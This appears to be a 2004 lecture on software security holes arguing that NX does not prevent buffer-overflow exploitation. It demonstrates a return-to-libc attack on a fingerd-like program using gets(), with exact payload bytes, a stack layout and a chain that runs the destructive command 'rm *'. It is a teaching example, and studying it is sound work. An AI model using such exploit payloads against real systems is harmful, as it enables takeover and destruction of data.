Matthew Broersma, PC World, 2004.10.01:

“Security flaws found in RealPlayer

“EEye Digital Security has uncovered new security holes affecting a wide range of RealNetworks’ media players, the latest desktop-based bugs set to worry IT managers. The flaws could be exploited via a malicious Web page or a RealMedia file run from a local drive to take over a user’s system or delete files, according to RealNetworks. . . .

“This bug affects RealPlayer versions 10, 10.5, as well as RealOne Player v1 and v2 on Windows.”

Midterm 1 this Wednesday.

Continuing homework:
Find security holes!
Your targets: $\geq$ 2 per person
by the end of this week,
$\geq$ 3 per person by 15 October,
$\geq$ 4 per person by 22 October, etc.

The NX security myth

NX means crash if `ip` is in stack or heap.

Myth: Buffer-overflow attacks always run code on stack or heap, so NX prevents the attacker from seizing control.

“Prescott supports the NX—for ‘no execute’—feature that blocks worms and viruses from executing code after creating a buffer overflow on the machine, said Paul Otellini, Intel’s president and chief operating officer. ‘This closes one of the most abused holes in the operating system.’ ”

Fact: These people are lying to you.
NX systems can still be exploited.

Let's go back to the fingerd program:

```
int main(int argc,char **argv)
{ char line[512];
  char *x[3];
  line[0] = 0;
  gets(line);
  x[0] = "/usr/bin/finger";
  x[1] = line;
  x[2] = 0;
  switch(fork()) {
    case 0: execv(x[0],x);
    case -1: return 111;
  }
  wait(0);
  return 0;
}
```

Input from the attacker
(for FreeBSD 4.10, particular compiler):
516 X's;

```
dc ee 09 28 00 00 00 00
b3 fb bf bf 90 fb bf bf
88 fb bf bf a0 fb bf bf
00 00 00 00 b3 fb bf bf
bb fb bf bf be fb bf bf
00 00 00 00;
```

and four 0-terminated strings:

```
"PATH=/bin:/usr/bin"
"/bin/sh"
"-c"
"rm *"
```

`line` is at location `bfbff970`.

```
bfbffb74: 2809eedc
bfbffb78: 00000000
bfbffb7c: bfbffbb3
bfbffb80: bfbffb90
bfbffb84: bfbffb88
bfbffb88: bfbffba0
bfbffb8c: 00000000
bfbffb90: bfbffbb3
bfbffb94: bfbffbbb
bfbffb98: bfbffbbe
bfbffb9c: 00000000
bfbffba0: "PATH=/bin:/usr/bin"
bfbffbb3: "/bin/sh"
bfbffbbb: "-c"
bfbffbbe: "rm *"
```

`sp` is `bfbffb74` when `main` returns.
Then `ip` = `2809eedc`; `sp` = `bfbffb78`.

`2809eedc` is `execve`.
NX doesn't stop `execve` from running.

`execve` picks up parameters
`sp[1]`, `sp[2]`, `sp[3]`;
i.e., `bfbffbb3`, `bfbffb90`, `bfbffb88`;
i.e., `"/bin/sh"`,
`{"/bin/sh","-c","rm *",0}`,
`{"PATH=/bin:/usr/bin",0}`.

So `fingerd` runs `rm *`,
command specified by the attacker.

With NX, some buffer overflows are
difficult or impossible to exploit,
but others are still quite easy.